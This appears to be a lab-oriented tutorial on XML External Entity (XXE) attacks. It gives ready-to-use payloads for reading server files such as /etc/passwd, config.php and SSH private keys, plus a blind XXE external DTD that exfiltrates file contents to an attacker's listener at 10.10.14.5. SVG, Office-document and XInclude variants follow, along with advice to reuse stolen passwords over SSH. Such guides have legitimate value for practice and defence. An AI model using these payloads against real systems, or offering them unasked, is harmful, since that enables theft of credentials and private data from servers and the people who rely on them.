XXE: reading server files with XML external entities
What XXE is, how to find it in APIs, SVG and Office documents, read files with php://filter, blind XXE with an external DTD, and chaining it into SSRF.
XML lets you define entities: variables substituted when the document is read. An external entity takes its value from a file or a URL. If the server processes your XML with a parser that has them enabled, &xxe; becomes the contents of /etc/passwd. That is XXE, and in the catalogue it shows up on machines such as BountyHunter, Aragog and RedPanda.
Where to look
- Requests with
Content-Type: application/xmlortext/xml, and SOAP APIs. - JSON requests where the server also accepts XML: change the
Content-Typetoapplication/xmland send the same data as XML. - Data that travels base64- or URL-encoded and turns out to be XML once decoded (that is what happens on BountyHunter).
- SVG and DOCX/XLSX/PPTX uploads (they are zips full of XML), RSS, GPX, KML, SAML.
Reading a file
The classic test. Define the entity in the DOCTYPE and use it in a field the application echoes back:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data><name>&xxe;</name></data>
On Windows, file:///c:/windows/win.ini.
Files with special characters
If the file contains < or & (a .php, an XML), the parser fails. On PHP, ask for it in base64 with a wrapper:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php"> ]>
echo 'PD9waHAg...' | base64 -d
What to read: source code and configs with passwords (config.php, .env, web.config), /etc/hosts to discover other hosts, /proc/self/environ and /home/<user>/.ssh/id_rsa. The LFI guide has a list of interesting files that works just as well here.
Detecting it even if you cannot see the value
If the entity does not show up in the response, first check that the parser resolves external entities by making it call your box:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://10.10.14.5/test"> ]>
<data>&xxe;</data>
python3 -m http.server 80
If the request arrives, the parser is vulnerable. That is also an SSRF: you can make the server request internal URLs.
Blind XXE: exfiltrating the file over the network
When you see nothing in the response, use an external DTD that reads the file and sends it in the URL of a second request. On your box, evil.dtd:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://10.10.14.5/?d=%file;'>">
%all;
%send;
And in the vulnerable request:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://10.10.14.5/evil.dtd"> %dtd; ]>
<data>hello</data>
Your server's log shows GET /?d=<base64>. With large files or line breaks, base64 (on PHP) is almost mandatory; without PHP, try ftp:// instead of http:// with an FTP server that logs what it receives.
Tip
If the parser shows errors, there is a shortcut: point the entity at a non-existent file whose name includes the contents (file:///nope/%file;). The error shows you the contents directly.
When you do not control the whole document
If you only control a value that gets inserted into a server-side XML (you cannot add the DOCTYPE), use XInclude:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
SVG and Office documents
An SVG is XML, so an image upload that processes it (to build a thumbnail, for instance) may be vulnerable:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg width="300" height="100" xmlns="http://www.w3.org/2000/svg">
<text x="10" y="40">&xxe;</text>
</svg>
With a .docx or .xlsx, unzip it, add the entity to word/document.xml (or xl/workbook.xml), zip it again with zip -r and upload it. Combine this with the file upload guide.
Common errors
- Syntax error when reading a
.php: it contains characters that break the XML. Usephp://filterin base64. - An internal entity (
<!ENTITY a "hello">) works but an external one does not: the parser has external entities disabled. Try XInclude, or check whether another endpoint uses a different parser. - The external DTD is never fetched: the server cannot reach your IP on that port. Try 80 or 443, or reuse a local DTD that already exists on the system (there are lists of reusable DTDs on Linux and Windows).
What next
With the source code and credentials you have read, go back to the application or try those passwords over SSH (password reuse). The web injections cheat sheet has every payload in this guide ready to copy.